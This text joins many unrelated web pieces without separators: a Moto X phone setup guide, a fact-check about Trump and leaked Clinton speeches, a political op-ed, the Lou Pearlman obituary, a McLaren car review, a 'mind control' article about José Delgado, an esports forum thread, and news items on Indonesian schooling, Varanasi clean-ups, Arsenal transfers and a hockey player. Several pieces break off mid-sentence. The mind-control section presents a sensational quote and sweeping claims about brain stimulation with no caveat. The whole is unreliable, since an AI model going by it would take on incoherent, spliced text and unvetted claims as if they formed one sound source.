Moto Assist: It’s one of those handy features that sounds like it would have found itself already baked into Android by now. Whether you’re driving, in a meeting or back home, Moto Assist can change your phone’s behavior to do your bidding automagically. Driving? Assist will read your text messages aloud. In a meeting? Assist will mute the ringer so you’re not interrupted. Set up your own quiet hours and you can even whitelist certain callers (or anyone calling in rapid succession) for emergency situations.
Moto Display: For the all new Moto X, Motorola has rebranded their Active Display app as Moto Display. Like a smart lock screen on top of the normal Android lock screen, Display will “breathe” notifications as they arrive, allowing you to peek at them using only a finger. An improved version of last year’s Active Display, Moto Display can even detect when your hand is near (IR sensors), activating before you even touch it.
One of the best parts about all of these applications is that they’re found in the Google Play Store, so make sure you’re regularly checking for new updates as they can occasionally bring new features and/or bug fixes.
7. Download/activate Google Wallet
Sure iPhone users are all excited about finally making mobile payments and they should be. It’s a feature Android users have been enjoying for years now and while there are a variety of mobile wallet apps you can find on the Google Play Store that allow this, we recommend going with Google Wallet. If you’re buying apps and games on the Play Store already, chances are it has all your info ready to go and set up is a breeze.
Simply search for “Google Wallet” in the Play Store app (or click here) and download. Once installed, open the Google Wallet app and set a PIN code. Then you’ll be taken to the My Wallet section of the app where you’ll see “Set up tap and pay.” Once selected, you’ll have to accept the terms of use and once done, you should now see a card (section) telling you tap and pay is ready to rock n’ roll.
Now, jump into your Settings app, scroll down and select “Tap & pay” and choose Google Wallet. If you’re using a carrier branded Moto X (from AT&T or Verizon or wherever), you’ll notice it came pre-installed with Softcard (previously Isis Mobile Wallet). Just ignore it because nobody wants to mess with that.
8. Use all black wallpaper for battery savings
The Moto X comes equipped with a beautiful AMOLED display that, not only produces more vibrant colors and higher contrast, but brings with it an added power draw benefit as well. Different from traditional LCD displays, AMOLED doesn’t need light up individual pixels when displaying black images, saving some precious battery life as a result. This is a reason why the Moto Display lock screen feature is supposed to be so battery friendly.
To further extend this to your home screen, you can choose to either use extremely dark wallpapers, or if you wanna get real crazy, just go with a completely blacked out one. Since the Moto X doesn’t make any available, you can download a pure black wallpaper for your Android here or check out our post with a handful of dark wallpapers for AMOLED devices.
Once downloaded, you can set a wallpaper by long pressing a blank area of your home screen, then choosing Wallpapers > Pick image > and selecting that dark or pure black wallpaper you just downloaded. Easy peasy.
9. Speed up animations
There’s no denying the new Moto X is one of the fastest smartphones on the market. Heck, we’d even go as far as saying in terms of real world speed, there isn’t a faster smartphone on the market (for now). Even then, did you know there’s a way you can make the phone feel even snappier and more responsive? Trust us, you’ll want to try out this next trick.
All you have to do this is to enable super top secret “Developer options” hidden in the Moto X Settings app. Simply open the app, scrolling down to “About device,” then pressing on “Build Number” a total of 7 times (you’ll see a countdown). Once finished, you’ll see a toast appear letting you know that you are now a “developer.” Okay, not really but you now have access to a few new hidden settings.
Return to the main Settings area and scroll down to the bottom where you’ll find a new option for “Developer options.” It’s not as scary as it sounds, we promise. Once inside, locate the window animation scale, transition animation scale, and animator duration scale, settings and set all of them to.5x to speed everything up, or animation off if you’re feeling really balsy. Make sure Developer options are turned “On” at the top of the screen, exit and you’re all set.
10. Apps to get you started
We went ahead and compiled a quick list of some of our “must-have” applications we download to every single Android device we ever purchased. Most of these are simply replacing some of the stock Google or Motorola apps already found on the device (like that awful camera), but because we like these better, we think they’re worth checking out.
That’s all, folks!
And that should pretty much cover everything you should do as a brand new Motorola Moto X (2nd Gen) owner. Of course, this is not an end-all-be-all list, but we think it should cover, at the very least, some of the more important stuff.
Should you have any more questions, feel free to drop a comment and/or check out our brand new Moto X (2014) forums on AndroidForums.com. It’s there you’re sure to find people always willing to lend a helping hand with any questions, issues or just general chatter you have about your shiny new Moto X. Cheers.Donald Trump cited apparent excerpts from Hillary Clinton’s past closed-door speeches, contained in emails leaked by WikiLeaks, but he twisted those excerpts in some cases.
At a campaign rally in Wilkes-Barre, Pennsylvania, on Oct. 10, Trump read from a piece of paper — interrupting himself to provide some commentary — detailing several apparent quotes from Clinton that were part of paid speeches she gave to financial firms and other organizations after she left the State Department and before declaring her candidacy for president. He made additional claims about the speech excerpts in Ambridge, Pennsylvania, the same day.
We do not have the full speeches that Clinton gave, nor has the Clinton campaign confirmed the authenticity of the emails. Campaign spokesman Josh Schwerin told us, “We cannot confirm the authenticity of anything released by wikileaks.” But we can provide the full excerpts as contained in the leaked emails, which are the basis for Trump’s claims.
Trump claimed that Clinton “admitted that ISIS could infiltrate with the refugees,” adding, “then why’s she letting so many people into our country?” But Clinton was talking about Jordan vetting the refugees coming into that country, not the refugees coming into the U.S.
Trump said Clinton wants a “single-payer” health care system, like Canada’s. But the quotes show Clinton advocating building on the United States’ employer-based system to get to “universal” coverage.
Trump said that longtime Clinton |
by expressing my appreciation to the organizers of thisinitiative - Paul Larudee and Greta Berlin from the US, Hilary Smith andBella from the UK, Vaggelis Pissias, a Greek member of the team whoprovided crucial material and political input, and Jamal al-Khoudri, anindependent member of the PLC from Gaza and head of the Popular CommitteeAgainst the Siege and others - plus the wonderful group of participants onthe boats and the great communication team that stayed ashore. Specialappreciation goes to ICAHD's own Angela Godfrey-Goldstein who played acrucial role in Cyprus and Jerusalem in getting the word out. Not toforget our hosts in Gaza (whose names are on the Free Gaza website) andthe tens of thousands of Gazans who welcomed us and shared their liveswith us. May our peoples finally find the peace and justice they deservein our common land.-----Jeff Halper is the Director of the Israeli Committee Against HouseDemolitions (ICAHD). He sailed to Gaza on August 23rd aboard the SS FreeGaza. For more information on the ICAHD, please visit: http://www.ICAHD.org. For more information on the Free Gaza Movement,please visit: http://www.FreeGaza.orgUh, oh! The Egyptian people might well be learning a lesson about standing armies that America’s Founding Fathers tried to impart to the American people. Egypt’s standing army, which has long been built up and fortified by U.S. foreign aid, is sending a not-so-subtle message to Egyptians that if the civilian authorities are unable to bring the current crisis in Egypt under control, the military might have to step in to establish “order and stability.” Defense Minister Abdel Fattah El Sissi stated, “The continuation of the conflict between the different political forces and their differences over how the country should be run could lead to the collapse of the state and threaten future generations.”
One might say, “Well, at least the American people don’t have to worry about the U.S. military establishment.”
Interestingly, however, two U.S. presidents and one former U.S. president believed otherwise. Like our nation’s Founding Fathers, they believed that America’s permanent military or intelligence establishment constituted a grave threat to the freedom and well-being of the American people.
The first president was Dwight D. Eisenhower, a retired army general who served as Supreme Commander of Allied Forces in World War II. In his Farewell Address in 1961, he warned Americans of the grave threat posed by the military-industrial complex to America’s democratic processes:
This conjunction of an immense military establishment and a large arms industry is new in the American experience. The total influence – economic, political, even spiritual – is felt in every city, every Statehouse, every office of the Federal government. We recognize the imperative need for this development. Yet we must not fail to comprehend its grave implications. Our toil, resources and livelihood are all involved; so is the very structure of our society.
In the councils of government, we must guard against the acquisition of unwarranted influence, whether sought or unsought, by the military-industrial complex. The potential for the disastrous rise of misplaced power exists and will persist.
We must never let the weight of this combination endanger our liberties or democratic processes. We should take nothing for granted. Only an alert and knowledgeable citizenry can compel the proper meshing of the huge industrial and military machinery of defense with our peaceful methods and goals, so that security and liberty may prosper together.
The second president was John F. Kennedy, who, by the time he was assassinated, totally distrusted the military and the CIA. Here are his precise words about whether a coup was possible here in the United States:
It’s possible. It could happen in this country, but the conditions would have to be just right. If, for example, the country had a young President, and he had a Bay of Pigs, there would be a certain uneasiness. Maybe the military would do a little criticizing behind his back, but this would be written off as the usual military dissatisfaction with civilian control. Then if there were another Bay of Pigs, the reaction of the country would be, “Is he too young and inexperienced?” The military would almost feel that it was their patriotic obligation to stand ready to preserve the integrity of the nation, and only God knows just what segment of democracy they would be defending if they overthrew the elected establishment…. Then, if there were a third Bay of Pigs, it could happen…. But it won’t happen on my watch.
Moreover, Kennedy had read the novel Seven Days in May, which posited a military coup here in the United States. According to Wikipedia, Kennedy “believed the scenario as described could actually occur in the United States.” Kennedy encouraged the making of a movie based on the novel as a way to warn the American people of the danger, notwithstanding the fact that the Pentagon ardently opposed the making of the film. The movie was ultimately made and starred Burt Lancaster, Kirk Douglas, Frederic March, Ava Gardner, and Edmond O’Brien.
The former president was Harry S. Truman. Thirty days after the Kennedy assassination, he published an op-ed in the Washington Post about the CIA. Pointing out that the CIA was intended to serve only as an intelligence-gathering agency, Truman stated:
I never had any thought that when I set up the CIA that it would be injected into peacetime cloak and dagger operations. Some of the complications and embarrassment I think we have experienced are in part attributable to the fact that this quiet intelligence arm of the President has been so removed from its intended role that it is being interpreted as a symbol of sinister and mysterious foreign intrigue — and a subject for cold war enemy propaganda….
We have grown up as a nation, respected for our free institutions and for our ability to maintain a free and open society. There is something about the way the CIA has been functioning that is casting a shadow over our historic position and I feel that we need to correct it.
Since then, however, not one single president has dared to say such things about the military, the military-industrial complex, and the CIA. On the contrary, ever since 1963, every single president has been a cheerleader for an ever-expanding national-security state, with ever-increasing budgets, power, and influence for the military and the CIA.
It should be pointed out though that both before and after Eisenhower, Kennedy, and Truman said those things, the U.S. military and the CIA supported and participated in coups that brought dictatorships into power, such as the 1953 coup in Iran, the 1954 military coup in Guatemala, and the 1973 military coup in Chile.
Why did the U.S. military and the CIA support and participate in those coups, all of which destroyed the democratic processes in those nations? Because they believed in them as fervently as the military establishments that instigated them. They believed the coups were necessary to maintain “order and stability” and to protect “national security” in those nations as well as “national security” here at home.
Time will tell whether the Egyptian people experience the same thing that the Iranian, Guatemalan, Chilean, and others suffered–military coups that destroy democracy in the name of establishing “order and stability” and protecting “national security.”
Of course, Americans once didn’t have to be concerned about the possibility that such a thing could happen here. That’s because Americans chose to live without a standing army, a military industrial complex, and a CIA for the first century-and-a-half of our nation’s existence.
Jacob G. Hornberger is founder and president of The Future of Freedom FoundationLou Pearlman, the man credited with forming and managing the popular 1990s boy bands Backstreet Boys and *NSYNC who was later sentenced to 25 years in prison, has died. He was 62.
Pearlman was eight years into his prison sentence — he found guilty in 2008 of conspiracy, money laundering, and making false statements during a bankruptcy proceeding after investigators discovered he defrauded investors out of some $300 million over 20 years — when he died Friday, as confirmed by PEOPLE.
Pearlman brought together Nick Carter, Howie Dorough, Brian Littrell, A.J. McLean, and Kevin Richardson in 1993 to form his first group, the Backstreet Boys, after watching the worldwide success of New Kids on the Block. A couple of years later, creating a bit of a rivalry, he formed *NSYNC, made up of Lance Bass, JC Chasez, Joey Fatone, Chris Kirkpatrick, and Justin Timberlake. Both bands were hugely successful in their own right — BSB with more than 130 million albums sold to its credit; *NYSNC with over 55 million in record sales.
Cementing his position as a go-to band producer and manager, the Flushing, New York native went on to form other bands, including O-Town, LFO, Take 5, and Innosense, which included Britney Spears as an original and short-time member, as well as solo acts including Aaron Carter (younger brother to BSB’s Nick).
For their 2015 documentary, Show ‘Em What You’re Made Of, the Backstreet Boys revisited Pearlman’s vacant Florida mansion, a moment that wasn’t an easy one for all of the guys. In an interview with EW, McLean revealed they wanted to speak with their old manager, who they sued contending their contract — under which he was getting paid as their manager, producer, and as a sixth member of the group — was unfair.
“Why? Why did you do it?” McLean says they wanted to ask Pearlman in a prison visit. “Everything looked like it was going to happen and then unfortunately the warden would not give us the greenlight. … Then they said, ‘One of you can come but not all five,’ and we were like, ‘If it’s not all five it’s just not worth it.’”
*NSYNC and many other bands followed suit, alleging misrepresentation and fraud.
Upon hearing the news of Pearlman’s death, Lance Bass took to social media, saying, in part, “He might not have been a stand up businessman, but I wouldn’t be doing what I love today [without] his influence. RIP Lou.”
Word is that #LouPearlman has passed away. He might not have been a stand up businessman, but I (cont) https://t.co/nsczUEVOOQ — Lance Bass (@LanceBass) August 20, 2016
Chris Kirkpatrick also weighed in on Pearlman’s death.Since British carmaker McLaren rebooted in 2009 to build road-going sports cars again after a multi-year hiatus, the company has introduced several new models, from the entry-level 570S to the hyper-performing (and at $1.1 million, also hyper out of reach) P1 hybrid. Slightly above mid-range is the 675LT.
I drove the coupe version recently to see if it could hold a candle to my number one, all-time favorite high-performance car: the now-legendary McLaren F1. McLaren produced the F1 from 1992 to 1998 and only built 106 examples. The F1 is visceral, raw, blinding, precise—and refreshingly unfettered by too much technology.
The 675LT and the F1 share some DNA: a mid-engine layout and a carbon-fiber-intensive structure. But the F1’s V12 is gone in favor of a V8, as is the F1’s novel center-position driver’s seat—a layout that made the car feel like an enclosed Formula 1 racer. (Note to McLaren: bring it back.)
A few upfront basics about the 675LT: It is faster, lighter, and more aerodynamically capable than the 650S, the car below it in the current lineup. In fact, even just the 675LT’s numbers are good enough instead to force a comparison to its 727-horsepower big brother, the P1, which attains zero to 60 miles per hour in 2.7 seconds.
What numbers? To start, a diabolical 666 horsepower and 516 pound-feet of torque, all muscling around a nimble 2,700-pound body. In other words, an “It Girl” in sports car terms. Those simple figures yield a 0 to 60 mph of roughly 2.8 seconds—a mere 0.1 second slower than the P1. (Honestly, for $800,000, could you really feel a 0.1-second difference?) Then there’s the rear air brake, which is 50% bigger than the 650S’s, which was already blushingly sizeable.
But even such compelling stats don’t explain the 675LT’s magic. The car is extraordinarily well-balanced, and despite its high performance thresholds, it is as comfortable as a slipper once you get yourself across the wide carbon sill and into the body-molding driver’s seat. From the second you dip into the throttle pedal, the car lets you know that it’s way more capable than you are. (OK, hotshot, you turn off the traction control and tell me who handles it better—you or the car. Exactly.)
The 675LT is the closest thing I’ve driven to the F1. It is visceral, immediate, nimble, and actually so cocooning as to be comfortable when not eating corners. I drove the car for hour after hour, and even in traffic, I felt coddled, not rattled or fatigued. In part it’s a size thing: the car, despite its loooooong tail (named LT in honor of a limited-edition derivation of the F1), is low to the ground and go-kart–esque in its maneuverability.
Nothing is perfect, including the 675LT. The car struggled with the high temperatures in the Malibu canyons. During testing, the day reached 91 degrees Fahrenheit, at which point and after many minutes of idling while setting up cameras, the McLaren pooped out and refused to launch, jugging and lurching briefly in what was clearly a heat-induced glitch. Luckily, after a shut down, it sprang back to full life.
There’s also precious little space of any kind—fine for men with wallets but trickier for anyone carrying a bag or purse. But take it as a comment, not a criticism—you don’t buy a sports car to complain about roominess.
As with everything in life—and especially with high-performance cars—there is a hierarchy, and an arguably subjective one at that. There are the greats old and new, which in my mind include the Mazda Miata and BMW’s latest, the M2. Then there are the icons—the air-cooled Porsches and, at the pinnacle, the McLaren F1. The 675LT may not make it squarely into the latter category, but it’s still a standout in a crowded competitive field. For the money, by far this vehicle is the best thing McLaren has built since the F1.
STATS
Price as tested: $396,820
Power: 666 hp
Torque: 516 lb-ft
Weight: 2700 lb
0 to 60: 2.8 sec
Production: 500
Number available: 0MIND CONTROL
José Delgado Controls An Angry Bull
by Electrical Stimulation of the Brain
New York Times report (1965)
"The individual may think that the most important reality is his own existence, but this is only his personal point of view. This lacks historical perspective. Man does not have the right to develop his own mind. This kind of liberal orientation has great appeal. We must electronically control the brain. Someday armies and generals will be controlled by electric stimulation of the brain."
Dr José Delgado,
Director of Neuropsychiatry
Yale University Medical School Congressional Record,
No. 26, Vol. 118 February 24, 1974
Dr José Delgado began his investigation into electrically stimulated pain and pleasure in Spain during the 1930s. He later became Director of Neuropsychiatry at Yale University Medical School, where he refined the design of his remote-controlled "transdermal stimulator". Dr Delgado discovered that a whole range of emotions and behaviours can be electrically orchestrated in humans and non-human animals alike. The individual has no capacity to resist such control if stimulated.
Dr Delgado had great faith in his technology. In one famous experiment conducted in Spain, Dr Delgado confronted a charging 1,000-pound bull. As the horned animal lunged towards him aggressively, Dr Delgado used a radio signal to activate an electrode implanted deep in the bull's brain. The bull was brought to a halt at Delgado's feet.
In Journey Into Madness, The True Story of Secret CIA Mind Control and Medical Abuse (Bantam Books, 1989), Gordon Thomas, the former BBC producer, foreign correspondent and investigative journalist, relates how "Dr Gottlieb and behaviorists of ORD [Office of Research and Development, CIA, Central Intelligence Agency] shared [Dr.] José Delgado's views that the day must come when the technique would be perfected for making not only animals but humans respond to electrically transmitted signals"... "Like Dr Delgado [Yale University], the neurosurgeon (Dr Heath of Tulane University) concluded that ESB [electronic stimulation of the brain] could control memory, impulses, feelings and could evoke hallucinations as well as fear and pleasure. It could literally manipulate the human will - at will."Beyond the Summit and TL Store Partnership May 22nd, 2013 00:22 GMT Text by Hot_Bid
TeamLiquid Store partners with Beyond the Summit
LD and GoDz
We're excited to announce the TL Store's first merchandising and production partnership. Starting today we'll be exclusively selling Beyond the Summit gear, starting with a GPM boosting smoke grey t-shirt with a stylized BTS logo.
Beyond the Summit is a Dota 2 casting studio founded last year by David "LD" Gorman and David "GoDz" Parker based in Los Angeles, California. They are known for their knowledge and experience in casting Asian and SEA Dota 2 matches, most notably the G-1 League. BTS is the coverage partner for The International 3 Eastern Qualifier. We're excited to announce the TL Store's first merchandising and production partnership. Starting today we'll be exclusively selling Beyond the Summit gear, starting with a GPM boosting smoke grey t-shirt with a stylized BTS logo.Beyond the Summit is a Dota 2 casting studio founded last year by David "LD" Gorman and David "GoDz" Parker based in Los Angeles, California. They are known for their knowledge and experience in casting Asian and SEA Dota 2 matches, most notably the G-1 League. BTS is the coverage partner for The International 3 Eastern Qualifier.
Front Side Back
Note: this shirt is currently only available to be shipped from the North American TL Store. European customers can still order, however shipping may be delayed and there may be import taxes. Hopefully for future BTS products we will have stock available to ship from our EU store.
BTS Icy Mountain T-Shirt $19.95 USD Sizing Information Buy Now
This is the first time the TL Store has partnered with another organization to produce their merchandise, and the first time we've made a Dota 2 focused shirt. We've made sure that the materials, art, and service are of the quality you expect from our store. The shirt is also guaranteed to help you kill steal, believe it or not.
Thanks for supporting Beyond the Summit, and look out for more announcements from the TL Store soon.
The shirt is produced by TeamLiquid and shipping is combinable with other US TL Store items. It comes in S-XL sizes, is 100% soft organic cotton, and has a BTS logo on the back. Also, in case you didn't notice, the M in "summit" is also a mountain. That AlteredClone is a genius.Note: this shirt is currently only available to be shipped from the North American TL Store. European customers can still order, however shipping may be delayed and there may be import taxes. Hopefully for future BTS products we will have stock available to ship from our EU store.This is the first time the TL Store has partnered with another organization to produce their merchandise, and the first time we've made a Dota 2 focused shirt. We've made sure that the materials, art, and service are of the quality you expect from our store. The shirt is also guaranteed to help you kill steal, believe it or not.Thanks for supporting Beyond the Summit, and look out for more announcements from the TL Store soon.
@Hot_Bid on Twitter - ESPORTS life since 2010 - http://i.imgur.com/U2psw.png
Hot_Bid Profile Joined October 2003 Braavos 183 Posts Last Edited: 2013-05-22 06:40:36 #2
Thanks for supporting BTS!
After staying at the BTS studio a few days, I took one look at LD's and GoDz's wardrobes and thought: we need to help those guys out. So we sent over some cool TL gear and said, let's make shirts like this together. This kind of cooperation just makes sense. BTS has a great fan base and are awesome guys. After two years of store operation and thousands of shirts sold, TL has a lot of merchandising and distribution experience. We're now able to look for partners to cooperate with, and we can help them out with our knowledge and experience so these guys can focus on casting and at the same time get some support from their fans in exchange for some awesome products.Thanks for supporting BTS! @Hot_Bid on Twitter - ESPORTS life since 2010 - http://i.imgur.com/U2psw.png
derpface Profile Joined October 2012 Sweden 30 Posts #3 LOL dat PS skills gg no re #_< no1 Hydra and Leta fan >_#
Spicy_Curry Profile Joined March 2011 United States 7384 Posts #4 Why do you look so sad LD. Dont worry, be happy. High Risk Low Reward
Dubzex Profile Joined October 2010 United States 2505 Posts #5 Cool. "DONT UNDERESTIMATE MY CARRY OR YOU WILL BE CARRIED INTO THE ABYSS OF SUFFERING" - Tyler 'TC' Cook
GoDz Profile Joined November 2011 Australia 182 Posts #6 We're thrilled to partner with Team Liquid as we love what they do for the Dota 2 community as far as providing great quality content and coverage of the Dota 2 scene, especially all those Asian Dota 2 events which sometimes go unnoticed! TL has tons of experience with producing and selling apparel, an area we were completely clueless in and wanted to figure out something for our fans and community as we've received numerous people asking about getting BTS apparel.
This t-shirt design will also be used for our BTS contributors who selected the t-shirt option, but with a unique BTS contributor design on the back which is limited to only the kickstarter donors and a few other special helpers.
Look forward to more awesome gear to come in the future! Caster To die will be an extraordinary adventure
Unleashing Profile Joined March 2011 Denmark 11163 Posts Last Edited: 2013-05-22 07:21:17 #7
Going to order this ASAP.
Edit:
Awesome! Was wondering when we'd get some dota2 related merchandise.Going to order this ASAP.Edit: Note: this shirt is currently only available to be shipped from the North American TL Store. European customers can still order, however shipping may be delayed and there may be import taxes. Hopefully for future BTS products we will have stock available to ship from our EU store.
Nevermind Nevermind From the Ghastly Eyrie I can see to the ends of the world, and from this vantage point I declare with utter certainty that this one is in the bag!
TheEmulator Profile Joined July 2010 PrairieLand 12756 Posts #8
This is awesome Administrator ~_~
Targe Profile Joined February 2012 United Kingdom 8115 Posts Last Edited: 2013-05-22 07:29:01 #9
Well this is awesome. The shirt is also guaranteed to help you kill steal, believe it or not.
lol
lol Note: this shirt is currently only available to be shipped from the North American TL Store. European customers can still order, however shipping may be delayed and there may be import taxes. Hopefully for future BTS products we will have stock available to ship from our EU store.
Oh. Oh. 11/5/14 CATACLYSM | The South West's worst Falco main
DuB phool Profile Joined April 2011 United States 33 Posts #10
Nice though, great to see more merch. I can't help but see BEYOND THE SUAAAAIT half the times I look at it.Nice though, great to see more merch. "overwatch is jesus" - motbob 2016
MrMedic Profile Joined November 2010 Canada 28 Posts #11 This is awesome :D
739 Profile Joined May 2009 Bearded Elder 6626 Posts #12 Hahahahah, nice thing! Sucks that there is some extra taxes for the European customers :/ Calendar Salty oldboy that loves memes | One and only back-to-back Liquibet Winner
lazyitachi Profile Joined December 2011 383 Posts #13 Is that what imma getting from the Indiegogo funding?
Cool beans!
GoDz Profile Joined November 2011 Australia 182 Posts #14 On May 22 2013 16:41 lazyitachi wrote:
Is that what imma getting from the Indiegogo funding?
Cool beans!
Yeah, with a different contributor logo on the back. Yeah, with a different contributor logo on the back. Caster To die will be an extraordinary adventure
Testuser Profile Joined June 2011 2792 Posts #15 ld so foxy. https://soundcloud.com/papercranesdk
ahswtini Profile Joined June 2008 Northern Ireland 16160 Posts #16 Hurry up and bring to EU store!! "As I've said, balance isn't about strategies or counters, it's about probability and statistics." - paralleluniverse
Whiplash Profile Joined October 2008 United States 126 Posts #17 Good to see TL is continuing to branch out. Former professional broadcaster. Back in college to get a degree, then back to e-Sports!
fusefuse Profile Joined February 2011 Estonia 191 Posts #18 dayum, alteredclone, sexy design is sexy Graphics @jkursk
Vaelone Profile Joined February 2011 Finland 1987 Posts #19 Looks awesome but I try not to order stuff from across the Atlantic, EU store please.
zdfgucker Profile Joined August 2011 China 245 Posts #20 Also, in case you didn't notice, the M in "summit" is also a mountain. That AlteredClone is a genius.
Thanks Captain Obvious! Please make it available in Europe.. I'd buy this twice. Loving BTS, you guys are the best. Thanks Captain Obvious!Please make it available in Europe.. I'd buy this twice. Loving BTS, you guys are the best. fLDm
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HONG KONG — If an Indonesian government proposal goes through, millions of elementary school students in that country will lose their science classes, with that time spent on increased religious education instead. Science may still be taught as part of other classes, but it will not have separate, compulsory classes, as religion does.
For this feature for IHT Education, Sara Schonhardt talked to teachers and students in Jakarta about curriculum changes that could take place across the Muslim-majority country by June.
After the proposal was released to the public in November, parents and teachers started a petition against it. The government claims that the public is generally supportive of the changes, but there have also been many voices of opposition.
Indonesia, a vast archipelago with 240 million people, is one of Asia’s fastest developing nations. It has been upgrading its manufacturing and services industries and is producing more skilled workers. The business sector has encouraged greater instruction in fields like computer science. Given that, some feel that increasing religious education, to the detriment of science training, is a step backward.
Srisetiowati Seiful of the non-profit Surya Institute told Sara:
‘‘We’re going to have a lost generation… It’s going to mean fewer researchers, less technology development. It’s Indonesia entering the dark ages.’’
Do you think religion should be taught in schools? What should be given priority: science classes or faith-based instruction?New Delhi: A boat ride down the Ganga as it flows past the famed ghats of Varanasi is on the to-do list of anyone visiting the city. It was no different for Temsutula Imsong, who along with Darshika Shah had moved to the city in 2013 to start a non-profit —Sakaar Sewa Samiti.
They embarked on such a ride one day in February 2015.
When Shah and Imsong’s boat approached Prabhu Ghat, one of 84 in the city, they were assailed by a stench. “We had to hold our breath. The entire ghat was shrouded in darkness, and while we had heard that Prabhu Ghat was dirty, the stench suggested that everything we had heard about it was probably an understatement," recalls Imsong.
The two women asked the boatman to drop them off at the ghat. What they saw still makes Imsong shudder. “There was garbage and excrement everywhere. There was no place to even stand," she says. The sorry state of the ghat was all the more shocking given the fact that the city is the constituency of Prime Minister Narendra Modi and his pet project is the Swachh Bharat Abhiyan (Clean India Mission).
Imsong remembers “trembling" with anger that night, wondering how it is that residents of the city could treat the ghat, one of the city’s legacies, with such disrespect.
The two returned to the ghat a month later, this time with volunteers and cleaning equipment, having mobilized social media for the former and their own resources for the latter.
“We called it Mission Prabhu Ghat and it took us three days to clean up the ghat. We did a lot of crowdsourcing too, asking locals, be it students or residents, to join us—and they did," says Imsong.
The first day of the mission involved dousing the entire area with bleach. The actual, physical removal of excrement started from the second day. “We must have collected more than 300kg of waste during those three days. At the end of every day, our team would lug garbage bags from the ghat for disposal," says Imsong.
Surely,they could have thrown it in the river? “Yes, that suggestion did come, but it just seemed wrong. Is that why we were cleaning? To pollute the river?"
Throughout the three days, Imsong kept tweeting updates, and on the last day, posted a photograph of a pristine ghat bathed in twilight.
Those three days left Imsong and her volunteers unable to eat for days after—no matter how many times they rinsed, washed and bathed, they couldn’t get the smell of waste off their hands. “But still, it was a small price to pay," says Imsong.
Indeed, a month later, Modi commended her on Twitter, tagging her handle.
The clean-up of Prabhu Ghat was no isolated incident for her. Before she moved to Varanasi as co-founder of Sakaar Sewa Samiti, which promotes rural development, Imsong had already spent two years travelling to villages around Varanasi—promoting cleanliness, advocating the importance of handwashing, etc.
“It’s the little things that make a difference. For instance, we insisted women clean lice from their hair—not just because of hygiene but also because it helps them sleep better."
Mission Prabhu Ghat was a turning point of sorts for Sakaar Sewa Samiti. Today, under Mission Parijat, it has adopted the Babua Pandey Ghat in Varanasi, apart from undertaking clean-up of two reservoirs—Sonebhadra Kund and Gauri Kund.
The clean-up, referred to as shramdaan, uses volunteers, most of whom are college students. “A lot of them come to us because they want to clean up the city. They are proud of their heritage and don’t like seeing it being dirtied. When we started we had seven volunteers, today we have around 28,"Imsong says.
Cleaning of the ghats along the Ganga has been identified by the National Mission for Clean Ganga, the nodal body for cleaning the river, as a key task. It has been trying to rope in corporates, non-resident Indians and social organizations, among others, to help keep the ghats clean.
“The fact is that even if the ghats are being cleaned, there is no facility whatsoever to dump garbage collected. Forget collecting the garbage, there are no dustbins on the ghats," explains Vallabh Pandey, an environmental activist from Varanasi.
According to him, the buck in Varansi’s cleanliness game stops with the nagar nigam (municipal corporation) which display little or no interest in the matter.
“If a VIP is visiting, they will clean up that area, gather the garbage from there, and simply dump it across the river. Open defecation is a big problem. When the prime minister came visiting, bio toilets were set up on the ghats. On the third day, they were promptly locked. And no one knows where the keys are," says Pandey.
For Pandey, initiatives, such as Mission Prabhu Ghat, are a welcome step because they involve not just the local population but the youth. “They are very determined, very focused and, best of all, they do it without any financial help whatsoever."
Imsong admits to being inundated with financial offers from across the country but is uncomfortable about accepting money. “I tell people instead to help out with supplies for cleaning—masks, brooms, good quality leather boots, etc."
Imsong’s organization meets every evening at one of the city’s ghats where they organize debates and discussions on sanitation and cleanliness. “When we started cleaning the Prabhu Ghat, a lot of people would tell us it’s a waste of time, that it will go back to being the way it was. Even today there are people who don’t contribute, but the numbers who join in are far more. That is heartening," she says.
For Imsong, sanitation and civic sense are values that were inculcated in her while growing up in Nagaland’s Mokokchung district. Every month, a cleanliness drive would be conducted in her village with every family required to send a volunteer. For the ones that did not, there was a fine. “The fine was nominal but the sense of shame of not participating in a community effort was far greater. Cleanliness as a value has stayed with me since then."
Imsong has met the prime minister twice since her mission started. She insists she is apolitical but is all praise for Swachh Bharat Abhiyan. “I think it is a fantastic scheme and I want to participate in it wholeheartedly, as it aims to bring about a change."
And till that happens, she can be found on the ghats of Varanasi every evening—debating, discussing and promoting cleanliness.According to French publication Le 10 Sport, Arsenal have finally tabled a formal bid for Lyon’s Clement Grenier while Marseille are planning talks with Gervinho in the coming days.
In an ‘exclusive’ the paper claims the Gunners offered below €10 million for French international Grenier earlier in this week but that OL president Jean-Michel Aulas rejected the bid.
Stressing that the ball is now back in Arsenal’s court, the report also claims it’s up to Arsene Wenger to raise the stakes even though the 22-year-old midfielder has only one year left on his contract at the Stade de Gerland.
Le 10 Sport were the first to pick up the baton on the Gervinho to Marseille story a few weeks ago, added to their case by asking the club’s assistant coach Franck Passi about the player, and maintain that the story still has legs.
Apparently Marseille sporting director, Jose Anigo, contacted our Ivorian winger as far back as May about a possible move and that contact has been maintained ever since. The latest development sees talks set for next week between Gerv’s representatives and president Vincent Labrune.Apparently.
Taking each report at face value it’s clear neither deal is close to being done.
Reading between the lines, with the wariness you’ve come to expect at Arseblog News, they appear to represent little more than another drip, in a summer of drip-fed tittle-tattle and as such we continue to reserve judgment. Aside from maintaining it’s probably all poppycock.By the Numbers is a new feature on Winnipeg Whiteout where we will look a certain subject and analyze it using the numbers. Today a growing trend in sports is looking at them more statistically, and with the new advanced metrics this trend is here to stay. Hockey and the NHL has not been immune as besides from the classic goals and assists statistics we are now seeing the new advanced number such as Corsi and Fenwick. Todays topic will be Jacob Trouba and why according to the numbers, he will one day be win the NHL award for top Defenseman, the Norris Trophy, and as we all know, numbers never lie.
At the 2012 NHL Entry Draft the Winnipeg Jets picked a young 6’2, 180lb defenseman 9th overall. The defenseman coming ut of the USA National Hockey Development Program was Jacob Trouba. Trouba spent that season with the University of Michigan in the CCHA, he managed 29 points and 88 penalty minutes in just 37 games for the Wolverines and was elected a league All star. He also played for the United States at the World Junior Hockey Championships that season leading the Americans to a gold medal notching 4 goals and 5 assists in just 7 games and being voted the tournaments top defenseman.
Trouba made his NHL debut October 1st of 2013 when the Winnipeg Jets opened their season in Edmonton. What a debut it was for Trouba as he notched his first NHL goal blasting a slap shot past Devan Dubnyk while playing over 25 minutes. The play of Trouba continued as he evolved into one of the teams best players and most counted upon defenseman playing even strength, power play and penalty kill minutes. Everything was going great for |
